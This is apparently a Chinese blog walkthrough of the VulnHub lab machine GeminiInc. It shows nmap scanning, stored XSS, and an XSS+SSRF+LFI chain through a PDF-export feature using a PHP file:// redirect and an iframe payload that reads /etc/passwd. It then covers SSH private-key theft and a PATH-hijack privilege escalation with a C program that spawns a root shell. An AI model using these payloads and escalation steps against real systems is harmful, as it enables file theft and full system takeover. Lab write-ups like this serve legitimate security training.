当前位置:网站首页>vulnhub之GeminiInc
vulnhub之GeminiInc
2022-07-03 11:05:00 【梅_花_七】
目录
一、主机发现
半开扫描
nmap -sS ip
二、服务版本探测
三、信息收集
1.无法加载
80端口的资源无法被正常加载,因为一直在访问Google的某些站点,挂梯子访问。
2.主页面
源码地址给我们了
3.源码
逐个查看,在install文件夹下出现了[email protected]
4.尝试登录
成功登录,左上角多了个功能
四、分析功能
1.export输出pdf
2.edit profile编辑文件
我们修改的资料会在资料版上原封不动的显示出来。用户名处不存在过滤,
五、存储型xss
不足以帮助我们突破边界
六、信息收集
1.export输出
在文档属性中我们发现了一个应用。就是一个html转pdf的应用。
七、组合拳XSS+SSRF+LFI
经过搜索,我们可以知道这个应用组件存在这三个漏洞。经过漏洞结合使用,来读取本地文件。
1.本地开启apache服务
systemctl start apache2
cd /var/www/html
sudo vim 1.php
创建一个1.php文件
写入:
<?php
$file = $_GET['file'];
header("location:file://$file");
2.注入payload
<iframe src="http://ip/1.php?file=/etc/passwd" width="100%" height=1220></iframe>
3.export触发
成功读取/etc/passwd文件。可以看到gemini可以通过shell登录
八、读取gemini私钥
保存到kali上
2.ssh公私钥登录
成功登录
九、find信息查找
find / -type f -user root -perm -u+xs -ls 2>/dev/null
十、二进制文件查看
1. /usr/bin/listinfo文件分析
strings /usr/bin/listinfo
内容:
核心代码也就是这几句,调用了系统的命令
2.执行情况
十一、 系统命令文件伪造
1.新建date文件
vim date.c
内容:
#include<sys/types.h>
#include<unistd.h>
#include<stdlib.h>
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
2.修改环境变量
先从前面找,再从后面找
export PATH=/tmp:$PATH
3.执行listinfo
提权成功
拿到flag.txt
边栏推荐
- 2022年中南大学夏令营面试经验
- Some common terms
- Mmc5603nj geomagnetic sensor (Compass example)
- Numpy np. Max and np Maximum implements the relu function
- ASP. Net hotel management system
- cgroup简介
- Analysis of EPS electric steering system
- Phpcms prompt message page Jump to showmessage
- C language log base zlog basic use
- After using the thread pool for so long, do you really know how to reasonably configure the number of threads?
猜你喜欢
C language AES encryption and decryption
Software testing weekly (issue 78): the more confident you are about the future, the more patient you are about the present.
Slam mapping and autonomous navigation simulation based on turnlebot3
Kibana - installation and configuration of kibana
Web安全总结
ASP.NET-酒店管理系统
导师对帮助研究生顺利完成学业提出了20条劝告:第一,不要有度假休息的打算.....
Excel quick cross table copy and paste
cgroup简介
基于turtlebot3实现SLAM建图及自主导航仿真
随机推荐
Web security summary
AI模型看看视频,就学会了玩《我的世界》:砍树、造箱子、制作石镐样样不差...
.\vmware-vdiskmanager.exe -k “c:\\xxxxx.vmdk”
PHP server interacts with redis with a large number of close_ Wait analysis
Processes and threads
Cuiyusong, CTO of youzan: the core goal of Jarvis is to make products smarter and more reliable
Based on MCU, how to realize OTA differential upgrade with zero code and no development?
How PHP solves the problem of high concurrency
Gut | Yu Jun group of the Chinese University of Hong Kong revealed that smoking changes intestinal flora and promotes colorectal cancer (do not smoke)
一些常用术语
在CoreOS下部署WordPress实例教程
How to make others fear you
2022年湖南工学院ACM集训第二次周测题解
ASP.NET-酒店管理系统
2022年中南大学夏令营面试经验
After setting up ADG, instance 2 cannot start ora-29760: instance_ number parameter not specified
phpcms 提示信息頁面跳轉showmessage
STL教程9-容器元素深拷贝和浅拷贝问题
VS2015的下载地址和安装教程
R语言使用aggregate函数计算dataframe数据分组聚合的均值(sum)、不设置na.rm计算的结果、如果分组中包含缺失值NA则计算结果也为NA